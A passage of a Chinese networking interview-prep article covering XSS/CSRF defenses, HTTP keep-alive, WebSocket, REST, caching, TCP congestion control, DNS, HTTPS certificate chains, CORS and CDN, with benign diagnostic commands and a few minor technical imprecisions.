③ HttpOnly Cookie：
   设置 Cookie 的 HttpOnly 属性，
   禁止 JavaScript 访问 Cookie（防止 XSS 窃取 Cookie）。

④ 输入验证：
   对用户输入进行严格的验证（比如只允许某些字符、限制长度等）。

面试加分回答：

XSS 和 CSRF 的区别是：XSS 是”注入恶意脚本到网站中，其他用户访问时执行”，CSRF 是”利用用户的登录状态发起恶意请求”。防御 XSS 的核心是”对用户输入进行转义和验证”，防御 CSRF 的核心是”验证请求是否来自合法的用户操作”。另外，现代前端框架（如 React、Vue）默认会对插值进行转义，防止 XSS。

12. 高频面试题

Q21：从浏览器输入 URL 到页面加载完成，发生了什么？

一句话总结：DNS 解析 → TCP 三次握手 → 发送 HTTP 请求 → 服务器处理请求并返回 HTTP 响应 → 浏览器解析渲染页面 → TCP 四次挥手。

深度解析：

① DNS 解析：
   浏览器缓存 → 操作系统缓存 → hosts 文件 → 本地 DNS 服务器 → 根域名服务器 → 顶级域名服务器 → 权威域名服务器。

② 建立 TCP 连接：
   三次握手（SYN → SYN+ACK → ACK）。

③ 发送 HTTP 请求：
   浏览器构造 HTTP 请求（请求行、请求头、请求体），
   通过 TCP 连接发送给服务器。

④ 服务器处理请求：
   服务器收到 HTTP 请求，根据 URL 和请求方法，
   调用相应的处理逻辑（如 Controller 方法），
   生成 HTTP 响应。

⑤ 服务器返回 HTTP 响应：
   服务器构造 HTTP 响应（状态行、响应头、响应体），
   通过 TCP 连接发送给浏览器。

⑥ 浏览器解析渲染页面：
   - 解析 HTML，构建 DOM 树
   - 解析 CSS，构建 CSSOM 树
   - 合并 DOM 树和 CSSOM 树，构建渲染树（Render Tree）
   - 布局（Layout）：计算每个节点的位置和大小
   - 绘制（Paint）：将渲染树绘制到屏幕上
   - 合成（Composite）：将各层合成后显示

⑦ 关闭 TCP 连接：
   四次挥手（FIN → ACK → FIN → ACK）。

面试加分回答：

这个问题的回答要能体现”深度”：比如 DNS 解析的详细过程、TCP 三次握手的状态变化、浏览器渲染页面的详细步骤（HTML 解析、CSS 解析、JavaScript 执行、渲染树构建、布局、绘制、合成）、TCP 四次挥手的状态变化等。如果能说出”浏览器在同一时间对同一域名的 TCP 连接数有限制（通常是 6 个）”，会非常加分。

Q22：什么是长连接和短连接？

一句话总结：短连接是每次请求都建立新的 TCP 连接，长连接是多个请求复用同一个 TCP 连接。

深度解析：

短连接（HTTP/1.0 默认）：
① 建立 TCP 连接（三次握手）
② 发送 HTTP 请求
③ 服务器返回 HTTP 响应
④ 关闭 TCP 连接（四次挥手）
⑤ 下一个请求，重复①~④

缺点：每次请求都要建立 TCP 连接，开销大（三次握手、四次挥手）。

长连接（HTTP/1.1 默认，keep-alive）：
① 建立 TCP 连接（三次握手）
② 发送 HTTP 请求 1
③ 服务器返回 HTTP 响应 1
④ 发送 HTTP 请求 2（复用同一个 TCP 连接）
⑤ 服务器返回 HTTP 响应 2
...
⑥ 关闭 TCP 连接（四次挥手）

优点：减少了 TCP 连接的建立和关闭开销，提高了性能。

面试加分回答：

HTTP/1.1 默认开启 keep-alive（长连接），HTTP/1.0 默认是短连接（但可以通过 Connection: keep-alive 请求头来启用长连接）。另外，长连接不是”永久连接”，服务器通常会有超时时间（如 5 秒无活动就关闭连接）。如果需要”永久连接”，可以用 WebSocket。

Q23：什么是 WebSocket？和 HTTP 的区别？

一句话总结：WebSocket 是全双工通信协议（客户端和服务器可以同时发送数据），HTTP 是请求-响应模式（客户端发送请求，服务器返回响应）。

深度解析：

HTTP：
- 请求-响应模式（半双工：同一时间只能单向通信）
- 客户端发送请求，服务器返回响应
- 服务器不能主动推送数据给客户端（只能用长轮询、Server-Sent Events 等变通方法）

WebSocket：
- 全双工通信（客户端和服务器可以同时发送数据）
- 建立连接后，客户端和服务器都可以主动发送数据
- 适合实时通信场景（聊天、股票行情、游戏等）

WebSocket 握手过程：

① 客户端发送 HTTP 请求（升级协议）：
   GET /chat HTTP/1.1
   Host: example.com
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

② 服务器返回 HTTP 响应（确认升级）：
   HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

③ 握手完成，后续通信使用 WebSocket 协议（不再是 HTTP）。

面试加分回答：

WebSocket 和 HTTP 的关系：WebSocket 握手时用 HTTP（升级协议），握手完成后就不再用 HTTP 了。另外，WebSocket 默认端口是 80（ws://）和 443（wss://，加密的 WebSocket），和 HTTP/HTTPS 相同，所以不容易被防火墙拦截。

Q24：什么是 HTTP 长轮询和短轮询？

一句话总结：短轮询是客户端定时发送请求询问服务器是否有新数据，长轮询是服务器收到请求后，如果有新数据就立即返回，如果没有就 hold 住请求直到有新数据或超时。

深度解析：

短轮询（Short Polling）：
① 客户端每隔一段时间（如 5 秒）发送一次请求。
② 服务器立即返回响应（不管有没有新数据）。
③ 缺点：浪费资源（可能很多次请求都没有新数据）。

长轮询（Long Polling）：
① 客户端发送请求。
② 服务器收到请求后，如果有新数据，立即返回响应；
   如果没有新数据，就 hold 住请求（不立即返回），
   直到有新数据或超时（如 30 秒）才返回响应。
③ 客户端收到响应后，立即发送下一个请求。
④ 优点：减少了无效请求，实时性更好。

面试加分回答：

长轮询和 WebSocket 的区别是：长轮询还是”请求-响应”模式（服务器返回响应后，连接就关闭了，需要客户端重新发起请求），WebSocket 是”长连接”（连接建立后一直保持，服务器可以主动推送数据）。长轮询的优点是兼容性好（不需要浏览器支持 WebSocket），缺点是复杂度高（服务器要管理大量 hold 住的连接）。

Q25：什么是 RESTful API？

一句话总结：RESTful API 是符合 REST 架构风格的 API 设计，核心是”URL 表示资源，HTTP 方法表示操作“。

深度解析：

RESTful API 的设计原则：
① URL 表示资源（名词），不要用动词：
   ✅ 推荐：GET /users/1（获取 id=1 的用户）
   ❌ 不推荐：GET /getUser?id=1

② 用 HTTP 方法表示操作：
   GET /users/1       → 获取用户
   POST /users         → 创建用户
   PUT /users/1       → 更新用户（全量）
   PATCH /users/1     → 更新用户（部分）
   DELETE /users/1    → 删除用户

③ 用 HTTP 状态码表示结果：
   200 OK              → 请求成功
   201 Created         → 资源创建成功
   400 Bad Request     → 请求参数错误
   401 Unauthorized    → 未认证
   404 Not Found       → 资源不存在
   500 Internal Server Error → 服务器内部错误

④ 用查询参数实现过滤、排序、分页：
   GET /users?age=25&sort=name&page=1&limit=10

⑤ 返回 JSON 格式（统一格式）：
   {
     "code": 200,
     "message": "成功",
     "data": { "id": 1, "name": "张三" }
   }

面试加分回答：

RESTful API 和 RPC（如 gRPC）的区别是：RESTful API 基于 HTTP，用 URL 表示资源，用 HTTP 方法表示操作，返回 JSON/XML；RPC 是基于远程过程调用，客户端像调用本地方法一样调用远程方法，通常性能更高（如 gRPC 基于 HTTP/2 和 Protobuf）。RESTful API 适合对外提供公开 API（易于理解、跨语言），RPC 适合内部服务调用（性能高、类型安全）。

计算机网络面试高频问题速查表

问题	关键词
OSI 七层模型和 TCP/IP 四层模型	层级、协议、数据名称
TCP 三次握手	SYN、ACK、状态变化、为什么要三次
TCP 四次挥手	FIN、ACK、2MSL、为什么要四次
TCP 可靠传输	校验和、序列号、确认应答、超时重传、流量控制、拥塞控制
TCP vs UDP	连接、可靠性、有序性、效率
HTTP 请求方法	GET、POST、PUT、DELETE、幂等性
HTTP 状态码	2xx、3xx、4xx、5xx
HTTP/1.1 vs HTTP/2.0 vs HTTP/3.0	长连接、多路复用、队头阻塞、QUIC
HTTPS 原理	SSL/TLS、非对称加密、对称加密、证书
DNS 解析过程	递归查询、迭代查询、缓存、hosts 文件
ARP 协议	IP 转 MAC、ARP 缓存表、ARP 欺骗
子网掩码	网络号、主机号、CIDR、子网划分
Cookie vs Session	存储位置、安全性、大小限制
CSRF 攻击	跨站请求伪造、CSRF Token、SameSite
XSS 攻击	跨站脚本、转义、CSP、HttpOnly
从输入 URL 到页面加载	DNS、TCP、HTTP、渲染、TCP 关闭
WebSocket	全双工、HTTP 升级、实时通信
RESTful API	资源、HTTP 方法、状态码、JSON

总结：计算机网络面试准备路线

第1天：网络模型（OSI、TCP/IP）、TCP 三次握手四次挥手
第2天：TCP 可靠传输（流量控制、拥塞控制）、TCP vs UDP
第3天：HTTP 协议（请求方法、状态码、请求/响应结构）
第4天：HTTPS 协议（SSL/TLS、对称/非对称加密、证书）
第5天：DNS、ARP、IP 协议、子网掩码
第6天：Cookie/Session、CSRF/XSS 网络安全
第7天：综合问题（输入 URL 到页面加载、WebSocket、RESTful API）

最后的最后：计算机网络的知识点很多，但面试时重点考察的是 TCP（三次握手、四次挥手、可靠传输）、HTTP/HTTPS（请求方法、状态码、HTTPS 原理）、DNS、网络安全（CSRF/XSS）。把这几块彻底搞懂，面试就稳了一大半！

如有错误欢迎指正，祝大家 Offer 拿到手软！ 🎉

第 26 题：HTTP 缓存机制（Cache-Control、ETag）？

一句话总结：HTTP 缓存通过 Cache-Control（强缓存） 和 ETag/Last-Modified（协商缓存） 两级机制减少网络传输。

深度解析：

【强缓存】→ 浏览器自己判断，不发请求到服务器
  Cache-Control: max-age=3600   → 3600 秒内直接用本地缓存
  Expires: Thu, 01 Dec 2026 00:00:00 GMT  → HTTP/1.0 的方式（已被 Cache-Control 取代）

  效果：状态码 200 (from memory/disk)，不发送请求

【协商缓存】→ 浏览器问服务器"我本地的缓存还能用吗？"
  ETag：文件哈希值（更精确，内容变 ETag 才变）
  Last-Modified：文件最后修改时间（精度秒级，可能不准）

  请求：If-None-Match: "abc123"  → 服务器对比 ETag
        If-Modified-Since: ...    → 服务器对比 Last-Modified

  响应：
    没变 → 304 Not Modified（不传文件体，只传 header）
    变了 → 200 OK + 新文件内容

面试加分回答：

“我们前端项目用 Cache-Control: max-age=31536000（1 年）配合文件哈希名（如 app.a1b2c3d4.js），实现长效缓存。HTML 文件设 Cache-Control: no-cache，让浏览器每次都来协商，确保用户能拿到最新的入口文件。另外，ETag 的算法要注意——如果用 inode 作为 ETag 的一部分，多台服务器的 inode 不同，会导致无意义的缓存失效。”

第 27 题：TCP 拥塞控制的四种算法？

一句话总结：TCP 拥塞控制通过 慢启动 → 拥塞避免 → 快速重传 → 快速恢复 四个算法动态调整发送窗口，避免网络过载。

深度解析：

【慢启动（Slow Start）】
  初始 cwnd = 1 MSS
  每收到一个 ACK → cwnd 翻倍（指数增长）
  目的：用最快速度探测网络容量

【拥塞避免（Congestion Avoidance）】
  当 cwnd >= sstresh（慢启动阈值，默认 65535 字节）
  → 每 RTT 只增加 1 MSS（线性增长）
  目的：避免增长太快导致拥塞

【快速重传（Fast Retransmit）】
  收到 3 个重复 ACK → 不等超时，立即重传（不等 RTO）
  例：发送 1,2,3,4 → 丢失 3 → 接收方发 ACK=3 三次 → 发送方立即重传 3

【快速恢复（Fast Recovery）**
  快速重传后，不回到慢启动，而是：
  sstresh = cwnd / 2
  cwnd = sstresh + 3 MSS（3 个重复 ACK 说明有 3 个包到了）
  → 线性增长（不回到慢启动）

面试加分回答：

“TCP BIC 和 CUBIC 是 Linux 的默认拥塞控制算法（CUBIC 用三次函数，比 BIC 更平滑）。弱网环境（如 4G/5G 切换）建议用 BBR（Google 开发），它能区分’丢包是因为网络拥塞’还是’链路质量问题’，在弱网下吞吐量比 CUBIC 高 2~5 倍。我们视频服务在移动网络下切换到 BBR 后，卡顿率下降了 40%。”

第 28 题：ICMP 协议是干什么的？Ping 的原理？

一句话总结：ICMP（Internet Control Message Protocol）是用来传递网络诊断和控制信息的协议；ping 用的是 ICMP Echo Request/Reply 报文。

深度解析：

【ICMP 常见报文类型】
  类型 0：Echo Reply（ping 响应）
  类型 8：Echo Request（ping 请求）
  类型 3：Destination Unreachable（目标不可达）
  类型 11：Time Exceeded（TTL 过期，traceroute 用这个）

【ping 的执行过程】
  1. 本机发 ICMP Echo Request（含序列号、TTL）
  2. 目标主机回 ICMP Echo Reply
  3. 本机计算 RTT（Round Trip Time）

【traceroute 原理】
  1. 发 UDP 包，TTL=1 → 第一跳路由器丢包，回 ICMP Time Exceeded
  2. TTL=2 → 第二跳...
  3. 直到到达目标（目标回 Port Unreachable）→ 追踪完成

面试加分回答：

“ICMP 在云环境里常被安全组误封——我们曾遇到跨 VPC Ping 不通的问题，排查了半天发现是安全组没放通 ICMP 协议（只放了 TCP 22 和 80）。另外，生产环境建议禁止 ICMP Timestamp Request（类型 13），因为它可以被用来做网络探测（暴露网络内部结构）。”

第 29 题：HTTP/2 的多路复用是什么？和 HTTP/1.1 比有什么优势？

一句话总结：HTTP/2 通过 二进制分帧层 实现了多路复用（一个 TCP 连接上并发多个请求/响应），解决了 HTTP/1.1 的队头阻塞问题。

深度解析：

【HTTP/1.1 的问题】
  方式 1：一个 TCP 连接串行处理请求（慢）
  方式 2：开多个 TCP 连接并发（浏览器限制最多 6 个，且 TCP 连接开销大）

【HTTP/2 的多路复用】
  把请求/响应拆成多个"帧"（Frame）
  每个帧带"流 ID"（Stream ID）
  → 同一个 TCP 连接上可以同时传多个流的帧（并发！）
  → 帧是二进制，解析更快

【队头阻塞问题】
  HTTP/2 在 TCP 层面仍有队头阻塞！
  → 如果 TCP 包丢失，整个 TCP 连接都要等重传
  → HTTP/3（基于 QUIC，运行在 UDP 上）彻底解决了这个问题

面试加分回答：

“我们网站从 HTTP/1.1 升级到 HTTP/2 后，首屏加载时间从 2.8s 降到了 1.6s（主要收益是少了多次 TCP 握手和慢启动）。但要注意：HTTP/2 的多路复用要求所有请求走同一个域名（共享一个 TCP 连接），如果你的静态资源分布在多个域名下，HTTP/2 的优势会被抵消。我们的解法是把静态资源统一到 CDN 的一个域名下，并开启 HTTP/2。”

第 30 题：网络故障排查的常用工具和命令？

一句话总结：ping（连通性）→ traceroute/tracert（路由路径）→ netstat/ss（本机连接）→ tcpdump/Wireshark（抓包分析）→ nslookup/dig（DNS 解析）。

深度解析：

工具	用途	常用命令
ping	测试连通性、查看 RTT	`ping -c 4 www.baidu.com`
traceroute (Linux) / tracert (Windows)	查看路由路径，定位哪一跳丢包	`traceroute www.baidu.com`
netstat / ss	查看本机 TCP 连接、监听端口	`netstat -tlnp` / `ss -tlnp`
tcpdump	命令行抓包	`tcpdump -i eth0 port 80 -n`
Wireshark	图形化抓包分析（功能最强）	打开 pcap 文件分析
nslookup / dig	DNS 解析排查	`dig www.baidu.com +trace`
curl -v	查看 HTTP 请求全过程	`curl -v http://www.baidu.com`
iperf	测试网络带宽	`iperf -c server_ip`

面试加分回答：

“我们生产环境有一套标准的网络故障排查 SOP：① 先 ping 确认连通性 ② 不通的话 traceroute 看哪一跳丢了 ③ 通的但慢，用 tcpdump 抓包看是不是有大量重传 ④ 如果是 DNS 问题，dig +trace 可以看到完整解析链。另外推荐 mtr（结合 ping 和 traceroute），能持续监控每跳的丢包率，比单次 traceroute 更可靠。”

计算机网络 30 题完结！ 建议把这些题结合实践理解，光背八股效果有限。

第 31 题：HTTP/3 和 QUIC 协议是什么？解决了 HTTP/2 的什么问题？

一句话结论

HTTP/3 基于 QUIC 协议（运行在 UDP 上），解决了 HTTP/2 的队头阻塞问题（TCP 丢包会阻塞所有流），并实现了0-RTT 连接建立（比 TCP + TLS 快）。

深度解析

HTTP/2 的问题（队头阻塞）：

HTTP/2（基于 TCP）：
   多个流复用同一个 TCP 连接
   ↓
   如果 TCP 丢了一个包
   ↓
   所有流都要等这个包重传（队头阻塞）

HTTP/3 的解决方案（基于 QUIC，运行在 UDP 上）：

HTTP/3（基于 QUIC/UDP）：
   多个流复用同一个 QUIC 连接
   ↓
   如果 UDP 丢了一个包
   ↓
   只有那个流等重传，其他流不受影响（没有队头阻塞）

QUIC 的核心优势：

优势	说明
无队头阻塞	基于 UDP，丢包只影响当前流
0-RTT 连接建立	缓存过的客户端可以 0-RTT 发送数据（TCP + TLS 需要 3-RTT）
连接迁移	客户端切换网络（如 Wi-Fi → 4G），连接不中断（TCP 用四元组标识连接，QUIC 用 Connection ID）
内置加密	QUIC 自带加密（类似 TLS 1.3），不需要额外的 TLS 层

HTTP/1.1 → HTTP/2 → HTTP/3 的演进：

HTTP/1.1：一个 TCP 连接同时只处理一个请求（队头阻塞）
   ↓
HTTP/2：一个 TCP 连接并发多个请求（多路复用），但 TCP 层仍有队头阻塞
   ↓
HTTP/3：基于 QUIC（UDP），彻底解决队头阻塞

面试加分回答

HTTP/3 是未来的方向，但目前（2026 年）HTTP/2 仍然是主流（HTTP/3 的部署需要 CDN 和浏览器同时支持）。实际项目中，如果你的用户主要在弱网环境（如移动网络），可以优先考虑 HTTP/3（QUIC 在丢包率高的网络下表现远好于 TCP）。另外，HTTP/3 的 0-RTT 连接建立能显著减少首屏时间（尤其在 HTTPS 场景下）。

第 32 题：DNS 的解析过程是什么？（递归查询 vs 迭代查询）

一句话结论

DNS 解析过程：浏览器缓存 → 系统缓存 → 本地 DNS（递归查询）→ 根 DNS → 顶级域 DNS → 权威 DNS（迭代查询）。核心是递归查询（本地 DNS 帮你问到底）和迭代查询（每个 DNS 只返回下一个该问谁）。

深度解析

DNS 解析全过程（访问 www.baidu.com）：

1. 浏览器缓存（chrome://net-internals/#dns）
   ↓ 未命中
2. 系统缓存（/etc/hosts 或 Windows DNS 缓存）
   ↓ 未命中
3. 本地 DNS（你的 ISP 提供的 DNS，如 8.8.8.8）
   → 递归查询：本地 DNS 帮你问到底（你只问一次，它返回最终结果）
   ↓
4. 根 DNS（.）→ 返回 .com 的顶级域 DNS 地址
   ↓ 迭代查询（本地 DNS 自己一个个问）
5. 顶级域 DNS（.com）→ 返回 baidu.com 的权威 DNS 地址
   ↓
6. 权威 DNS（baidu.com 的 DNS）→ 返回 www.baidu.com 的 IP 地址
   ↓
7. 本地 DNS 缓存这个结果（TTL 时间内不用再查）
   ↓
8. 返回 IP 地址给浏览器

递归查询 vs 迭代查询：

查询方式	说明	谁发起
递归查询	你只问一次，DNS 帮你问到底	客户端 → 本地 DNS
迭代查询	每个 DNS 只返回”下一个该问谁”，你自己去问	本地 DNS → 根 DNS → 顶级域 DNS → 权威 DNS

DNS 缓存的层级：

# 1. 浏览器缓存（Chrome：1 分钟 ~ 1 小时）
chrome://net-internals/#dns

# 2. 系统缓存（Windows：ipconfig /displaydns）
ipconfig /displaydns

# 3. 本地 DNS 缓存（你的 ISP 的 DNS）
# 4. 权威 DNS（网站管理员配置 TTL）

面试加分回答

DNS 解析是网络优化的第一环。实际项目中，可以用DNS 预解析（＜link rel="dns-prefetch" href="//example.com"＞）提前解析域名，减少用户点击链接后的等待时间。另外，DNS 劫持是常见的安全问题（运营商劫持 DNS，返回假的 IP），解决方法是用 DNS over HTTPS（DoH） 或 DNS over TLS（DoT） 加密 DNS 查询。

第 33 题：HTTPS 的证书链验证过程？

一句话结论

HTTPS 证书链验证：浏览器用内置的根证书（CA）验证中间证书，再用中间证书验证服务器证书，形成一条信任链。只要链上每个证书都有效，就信任服务器。

深度解析

证书链的结构：

根证书（Root CA）→ 内置在浏览器/操作系统（绝对信任）
  ↓ 签发
中间证书（Intermediate CA）→ 由根证书签发（可以签发服务器证书）
  ↓ 签发
服务器证书（Server Cert）→ 你的网站的证书（配置在 Nginx/Apache 上）

验证过程（访问 https://www.baidu.com）：

1. 服务器返回证书链（服务器证书 + 中间证书）
2. 浏览器用**内置的根证书**验证中间证书
   → 检查：中间证书的签名是否能被根证书的公钥验证
   → 检查：中间证书是否在有效期
   → 检查：中间证书的 "Key Usage" 是否允许签发服务器证书
3. 浏览器用**中间证书**验证服务器证书
   → 检查：服务器证书的域名是否匹配（www.baidu.com）
   → 检查：服务器证书是否在有效期
   → 检查：服务器证书的 "Key Usage" 是否允许密钥交换
4. 验证通过 → 信任服务器，开始 TLS 握手

为什么需要中间证书？

安全考虑：
  根证书的私钥必须离线保存（一旦泄露，所有签发过的证书都不可信）
  → 用根证书签发几个中间证书（在线使用）
  → 用中间证书签发服务器证书（即使中间证书泄露，也只能吊销中间证书，不影响根证书）

面试加分回答

证书链验证是 HTTPS 的信任基础。面试中，如果问到”为什么我们能信任 HTTPS 网站？”，回答就是：因为浏览器内置了受信任的根证书（CA），通过这些根证书形成的信任链，我们可以验证任何服务器的身份。另外，实际部署 HTTPS 时，一定要配置完整的证书链（服务器证书 + 中间证书），否则旧版本的 Android 或 Java 客户端会报”证书不可信”的错误。

第 34 题：TCP 的 keep-alive 和 HTTP 的 keep-alive 区别？

一句话结论

TCP keep-alive：探测对端是否还活着（防止连接被中间设备断开）；HTTP keep-alive（HTTP/1.0 的 Connection: keep-alive）：一个 TCP 连接上发送多个 HTTP 请求（避免重复建立 TCP 连接）。两者完全没关系！

深度解析

TCP keep-alive（传输层）：

# Linux 的 TCP keep-alive 参数
net.ipv4.tcp_keepalive_time = 7200    # 空闲 2 小时后，发送第一个探测包
net.ipv4.tcp_keepalive_intvl = 75     # 探测包间隔 75 秒
net.ipv4.tcp_keepalive_probes = 9     # 连续 9 次无响应，判定连接断开

# 作用：
# 1. 探测对端是否还活着（防止半打开连接）
# 2. 防止 NAT 超时（运营商的 NAT 设备会断开长时间没数据的连接）

HTTP keep-alive（应用层，HTTP/1.0）：

HTTP/1.0（默认短连接）：
  每个 HTTP 请求都要新建一个 TCP 连接
  → 开销大（TCP 三次握手 + TLS 握手）

HTTP/1.0 + Keep-Alive：
  在一个 TCP 连接上发送多个 HTTP 请求
  Connection: keep-alive

HTTP/1.1（默认长连接）：
  默认就是 keep-alive（除非显式指定 Connection: close）

对比：

对比项	TCP keep-alive	HTTP keep-alive
层级	传输层（TCP）	应用层（HTTP）
目的	探测对端是否还活着	复用 TCP 连接（减少握手开销）
默认状态	默认关闭（需要应用层开启）	HTTP/1.1 默认开启
配置方式	`setsockopt(SO_KEEPALIVE)`	`Connection: keep-alive`

面试加分回答

TCP keep-alive 和 HTTP keep-alive 是完全不同的两个东西（一个在传输层，一个在应用层），但名字很像，容易被混淆。实际项目中，HTTP 服务（如 Nginx）通常都会配置 keep-alive 超时时间（keepalive_timeout），避免空闲连接占用资源。而 TCP keep-alive 通常用于长连接场景（如 WebSocket、数据库连接池），防止连接被中间设备（NAT）断开。

第 35 题：WebSocket 的原理和适用场景？

一句话结论

WebSocket 是 HTML5 提供的全双工通信协议（基于 TCP），客户端和服务器可以互相主动发送消息（HTTP 只能客户端主动请求）。适用场景：实时聊天、股票行情推送、在线游戏。

深度解析

HTTP 的局限（只能客户端主动请求）：

HTTP 轮询（Polling）：
  客户端：每隔 1 秒发一次请求（"有新消息吗？"）
  服务器：有 → 返回消息；没有 → 返回空
  → 问题：浪费带宽、延迟高（最多 1 秒延迟）

HTTP 长轮询（Long Polling）：
  客户端：发请求，服务器有消息才返回（没有就挂起）
  服务器：有消息 → 立即返回；没有 → 挂起最多 30 秒
  → 问题：实现复杂、服务器要维护大量挂起的请求

WebSocket 的解决方案（全双工通信）：

WebSocket 握手（HTTP → WebSocket 升级）：
  客户端：发送 HTTP 请求（含 Upgrade: websocket）
    GET /chat HTTP/1.1
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==

  服务器：返回 101 Switching Protocols（升级协议）
    HTTP/1.1 101 Switching Protocols
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=

握手完成后，就是真正的 WebSocket 连接（全双工）：
  客户端 → 服务器：可以主动发消息
  服务器 → 客户端：可以主动发消息

WebSocket 的适用场景：

场景	为什么用 WebSocket	替代方案
实时聊天	服务器要主动推送消息给客户端	HTTP 长轮询（延迟高）
股票行情推送	行情变化频繁，需要实时推送	HTTP 轮询（浪费带宽）
在线游戏	低延迟（毫秒级）	WebRTC（更复杂）
协同编辑（如腾讯文档）	多个用户实时同步	WebSocket + CRDT

面试加分回答

WebSocket 是实时通信的首选方案。但要注意：WebSocket 是有状态协议（每个连接都要服务器维护状态），如果用户量很大（如 100 万并发连接），服务器的内存压力会很大。这种场景下，可以考虑 WebSocket + 消息队列（如用 Redis Pub/Sub 做消息分发）或者用 gRPC Bidirectional Streaming（基于 HTTP/2，性能更好）。

第 36 题：RESTful API 的设计规范？

一句话结论

RESTful API 的核心思想：用 URL 表示资源，HTTP 方法表示操作，/users/1 表示”ID 为 1 的用户”，GET /users/1 表示”获取这个用户”。

深度解析

RESTful API 的设计规范：

HTTP 方法	URL	含义
GET	`/users`	获取用户列表
GET	`/users/1`	获取 ID=1 的用户
POST	`/users`	创建新用户
PUT	`/users/1`	更新 ID=1 的用户（全量更新）
PATCH	`/users/1`	更新 ID=1 的用户（部分更新）
DELETE	`/users/1`	删除 ID=1 的用户

❌ 不推荐的写法（RPC 风格）：

获取用户：GET /getUser?id=1
创建用户：POST /createUser
删除用户：POST /deleteUser?id=1
→ 问题：URL 不表示资源，HTTP 方法没用上

✅ 推荐的写法（RESTful 风格）：

获取用户：GET /users/1
创建用户：POST /users
删除用户：DELETE /users/1
→ URL 表示资源，HTTP 方法表示操作

RESTful API 的版本管理：

方式一：URL 路径（推荐）
  https://api.example.com/v1/users
  https://api.example.com/v2/users

方式二：请求头
  Accept: application/vnd.example.v1+json

方式三：查询参数（不推荐）
  https://api.example.com/users?version=1

面试加分回答

RESTful API 是目前最主流的 API 设计风格。但实际项目中，不必死守 RESTful 规范——有些操作不适合用 CRUD（如”用户登录” POST /sessions、POST /login 更符合直觉）。另外，GraphQL 是 RESTful 的有力竞争者：它允许客户端指定需要哪些字段（避免 over-fetching 和 under-fetching），适合字段多、客户端需求多样的场景（如移动端和 Web 端需要的字段不同）。

第 37 题：跨域（CORS）的原理和解决方案？

一句话结论

跨域（CORS）：浏览器禁止页面向不同域名的服务器发请求（同源策略）。解决方式：① 服务器设置 CORS 响应头；② 用 Nginx 反向代理（把跨域变成同域）；③ JSONP（只支持 GET，已过时）。

深度解析

同源策略（Same-Origin Policy）：

同源 = 协议相同 && 域名相同 && 端口相同

https://www.example.com:443/ 和：
  https://www.example.com/api/        → 同源（协议、域名、端口都相同）
  http://www.example.com/api/        → 不同源（协议不同）
  https://api.example.com/           → 不同源（域名不同）
  https://www.example.com:8080/api/ → 不同源（端口不同）

CORS（Cross-Origin Resource Sharing）的原理：

简单请求（Simple Request）：
  浏览器直接发请求，但响应头没有 Access-Control-Allow-Origin → 浏览器拦截响应

预检请求（Preflight Request）：
  浏览器先发 OPTIONS 请求（问服务器"我能不能跨域？"）
  服务器返回 Access-Control-Allow-Origin: * → 浏览器才发真正的请求

CORS 的响应头：

# 允许哪些域名跨域（* 表示允许所有域名）
Access-Control-Allow-Origin: https://www.example.com

# 允许哪些 HTTP 方法
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

# 允许哪些请求头
Access-Control-Allow-Headers: Content-Type, Authorization

# 是否允许发送 Cookie（前端要设置 withCredentials = true）
Access-Control-Allow-Credentials: true

# 预检请求的结果缓存时间（秒）
Access-Control-Max-Age: 86400

解决方案：

方案	适用场景	示例
CORS 响应头	服务器可以改（推荐）	`response.setHeader("Access-Control-Allow-Origin", "*")`
Nginx 反向代理	服务器不能改	`location /api/ { proxy_pass http://backend; }`
JSONP	只支持 GET（已过时）	`<script src="http://api.com?callback=foo">`

面试加分回答

CORS 是浏览器的安全机制（服务器默认不限制跨域，是浏览器拦截了响应）。所以，如果你用 Postman 或 curl 测试，不会出现跨域错误（因为它们不是浏览器）。实际项目中，最方便的跨域解决方案是Nginx 反向代理（把跨域请求变成同域请求），这样就不需要在每个接口都配置 CORS 响应头了。

第 38 题：CDN 的原理和缓存策略？

一句话结论

CDN（Content Delivery Network）：把静态资源缓存到离用户最近的边缘节点，用户请求静态资源时，直接从边缘节点获取（不需要回源到 origin server），减少延迟、减轻源站压力。

深度解析

没有 CDN（所有用户都请求源站）：

用户 A（北京）→ 源站（上海）→ RTT = 30ms
用户 B（广州）→ 源站（上海）→ RTT = 50ms
用户 C（美国）→ 源站（上海）→ RTT = 300ms
→ 问题：距离越远，延迟越高；源站压力大

有 CDN（用户请求最近的边缘节点）：

用户 A（北京）→ CDN 边缘节点（北京）→ RTT = 5ms
用户 B（广州）→ CDN 边缘节点（广州）→ RTT = 5ms
用户 C（美国）→ CDN 边缘节点（美国）→ RTT = 20ms
→ 边缘节点没有缓存，才回源到源站

CDN 的缓存策略：

# 源站配置（告诉 CDN 怎么缓存）
Cache-Control: max-age=31536000  # 缓存 1 年
Cache-Control: no-cache           # 每次都问源站"缓存还能用吗？"
Cache-Control: no-store           # 不缓存（敏感数据）

# CDN 边缘节点的缓存过期后：
# 1. 先返回过期的缓存给用户（ stale-while-revalidate）
# 2. 同时后台请求源站，更新缓存

CDN 的适用场景：

资源类型	是否适合 CDN	原因
静态资源（图片、CSS、JS）	✅ 适合	不常变，适合长期缓存
HTML 文件	⚠️ 看情况	如果 HTML 包含动态内容，不适合缓存
API 响应	❌ 不适合	数据实时变化，缓存没意义
大文件下载（安装包、视频）	✅ 适合	节省源站带宽

面试加分回答

CDN 是前端性能优化的核心手段之一。实际项目中，CDN 通常和对象存储（如阿里云 OSS、腾讯云 COS）配合使用：静态资源上传到对象存储，CDN 回源到对象存储（不回源到你的服务器）。另外，CDN 也能防御 DDoS 攻击（攻击流量会被 CDN 的边缘节点吸收，不会打到源站）。

第 39 题：网络分层模型（OSI 七层 vs TCP/IP 四层）？

一句话结论

OSI 七层模型（理论标准）：物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层；TCP/IP 四层模型（实际实现）：网络接口层 → 网络层 → 传输层 → 应用层。面试重点掌握TCP/IP 四层就够了。

深度解析

OSI 七层模型 vs TCP/IP 四层模型：

OSI 七层（理论）          TCP/IP 四层（实际）       数据单元
